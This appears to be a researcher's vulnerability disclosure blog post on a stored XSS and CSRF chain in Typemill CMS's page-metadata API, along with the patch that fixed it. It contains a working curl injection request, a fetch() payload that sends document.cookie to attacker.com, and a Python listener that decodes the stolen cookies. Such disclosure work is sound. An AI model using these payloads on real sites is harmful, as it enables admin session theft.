June 11, 2026
Chaining Stored XSS and CSRF in Typemill CMS: A Deep Dive into Attribute Injection
How I bypassed frontend validation to inject malicious scripts into page metadata and steal admin sessions.
Sandiyo Christan
3 min read
How I bypassed frontend validation to inject malicious scripts into page metadata and steal admin sessions.
Vulnerability: Stored XSS and CSRF CVE ID: CVE-2026–53468
Flat-file CMS systems have grown rapidly in popularity due to their speed, simplicity, and lack of database overhead. One such popular CMS is Typemill, built on PHP and Slim framework.
During a recent security assessment, I discovered a high-severity vulnerability chain in Typemill CMS that allows an attacker to achieve Stored Cross-Site Scripting (XSS). By chaining it with a lack of CSRF protection on the API endpoints, an unauthenticated attacker could silently force an administrator's browser to inject a payload, resulting in full session takeover.
In this write-up, we will walk through the discovery, the root cause in the source code, the exploitation chain, and how it was ultimately remediated.
The Discovery: Finding the Vulnerable Sink
When analyzing any web application for XSS, one of the first things to look at is how metadata is rendered. Many systems assume metadata fields (like description, author, or Open Graph tags) are harmless because they aren't directly visible on the page layout.
However, looking at system/typemill/Assets.php, I noticed the renderMeta() function:
// system/typemill/Assets.php
if($name == 'title' || $name == 'description') {
$meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
}// system/typemill/Assets.php
if($name == 'title' || $name == 'description') {
$meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
}Notice anything missing?
The variable $content is concatenated directly into the HTML string without any output encoding. Because it doesn't use htmlspecialchars() or a similar sanitization mechanism, an attacker can input a double quote (") to close the content attribute and inject custom HTML attributes or JavaScript event handlers. This is a classic case of HTML Attribute Injection.
The Twist: Bypassing Frontend Validations
If you try to enter special characters (like double quotes) in the Typemill administrator UI, the frontend interface (written in Vue.js) will block them.
However, client-side validation is only a UX helper, not a security boundary. By analyzing the network traffic when saving page settings, I found the API endpoint responsible for storing page metadata:
- Endpoint:
POST /api/v1/meta - Payload Format: JSON
Because the backend PHP controller failed to validate or sanitize the incoming data, I could bypass the frontend validation entirely by sending a direct API request:
curl -s -b cookies.txt -H "X-Session-Auth: true" \
-H "Content-Type: application/json" \
-X POST "http://[TARGET]/api/v1/meta" \
-d '{"url":"/","tab":"meta","data":{"title":"XSS\" onmouseover=\"alert(1)\" x=\"","description":"XSS\" onmouseover=\"fetch('\''http://attacker.com/?c='\''+btoa(document.cookie))\" x=\"","status":"published"}}'curl -s -b cookies.txt -H "X-Session-Auth: true" \
-H "Content-Type: application/json" \
-X POST "http://[TARGET]/api/v1/meta" \
-d '{"url":"/","tab":"meta","data":{"title":"XSS\" onmouseover=\"alert(1)\" x=\"","description":"XSS\" onmouseover=\"fetch('\''http://attacker.com/?c='\''+btoa(document.cookie))\" x=\"","status":"published"}}'Chaining with CSRF
A Stored XSS that requires administrator privileges to inject is usually rated as Medium severity. But what if we don't need to be authenticated to trigger the injection?
At the time of testing, the backend API endpoint (/api/v1/meta) did not enforce robust Cross-Site Request Forgery (CSRF) protection. This meant an unauthenticated attacker could host a malicious website containing an auto-submitting form or a fetch script. If an authenticated administrator visited the attacker's website, the admin's browser would automatically send the request to Typemill's API, injecting the payload without their knowledge.
Triggering the Payload & Exfiltrating Data
Since <meta> tags are non-visible and head-elements by default, they don't trigger typical interaction events like onclick. However, an attacker can trigger them programmatically or chain them with CSS breakout techniques.
For validation, we can trigger the event handlers via the browser console:
document.querySelector('meta[property="og:title"]').onmouseover();document.querySelector('meta[property="og:title"]').onmouseover();To demonstrate real impact, the payload injected into the description tag was designed to read the victim's session cookies, encode them in Base64, and exfiltrate them to an external listener:
fetch('http://attacker.com/?c=' + btoa(document.cookie))fetch('http://attacker.com/?c=' + btoa(document.cookie))I set up a lightweight Python HTTP receiver (listener.py) to capture and automatically decode the exfiltrated cookies:
# A simple python listener to capture the exfiltrated cookies
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import base64
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
print(f"\n[+] Incoming Request Path: {self.path}")
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'c' in params:
val = params['c'][0]
try:
decoded = base64.b64decode(val).decode('utf-8')
print(f"[*] Decoded 'c': {decoded}")
except:
print(f"[*] Raw 'c': {val}")
self.wfile.write(b"OK")# A simple python listener to capture the exfiltrated cookies
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import base64
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
print(f"\n[+] Incoming Request Path: {self.path}")
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'c' in params:
val = params['c'][0]
try:
decoded = base64.b64decode(val).decode('utf-8')
print(f"[*] Decoded 'c': {decoded}")
except:
print(f"[*] Raw 'c': {val}")
self.wfile.write(b"OK")Once the event was triggered, the listener successfully intercepted the session details:
[+] Incoming Request Path: /?c=d3Atc2V0dGluZ3MtMT11cmxidXR0b24lM0Rub25lOyB3cC1zZXR0aW5ncy10aW1lLTE9MTc3MzkzMzc2Mw==
[*] Decoded 'c': wp-settings-1=urlbutton=none; wp-settings-time-1=1773933763[+] Incoming Request Path: /?c=d3Atc2V0dGluZ3MtMT11cmxidXR0b24lM0Rub25lOyB3cC1zZXR0aW5ncy10aW1lLTE9MTc3MzkzMzc2Mw==
[*] Decoded 'c': wp-settings-1=urlbutton=none; wp-settings-time-1=1773933763The Remediation
I reported this vulnerability chain to the Typemill developer. They took immediate action and patched the Stored XSS vulnerability in version 2.23.0.
1. Secure Output Encoding (The Fix)
The primary fix was wrapping the dynamic metadata inside htmlspecialchars() to escape double quotes and convert special characters into HTML entities:
- $meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
+ $meta .= '<meta property="og:' . $name . '" content="' . htmlspecialchars($content, ENT_QUOTES, 'UTF-8') . '">' . "\n";- $meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
+ $meta .= '<meta property="og:' . $name . '" content="' . htmlspecialchars($content, ENT_QUOTES, 'UTF-8') . '">' . "\n";2. Implementing CSRF Protection (Ongoing Hardening)
In addition to the escaping patch, implementing robust per-session CSRF validation on all state-changing API endpoints is highly recommended to prevent the initial CSRF vector from being used in other contexts.
Key Takeaways
- Never Trust Client-Side Validation Alone: Always validate, sanitize, and escape data on the backend. Frontend UI validation is for user experience, not security.
- Context-Aware Escaping is Crucial: When rendering user input within HTML attributes, standard escaping might not be enough. Ensure you specify
ENT_QUOTESto prevent attribute boundary escapes. - Protect API Endpoints with CSRF Tokens: All endpoints that mutate state or modify settings must be guarded by anti-CSRF middleware.
Credits
- Researcher: Sandiyo Christan
- LinkedIn: Sandiyo Christan Profile
- Twitter / X: @ChristanSandiyo
If you found this write-up helpful, feel free to leave a clap and share it with the security community!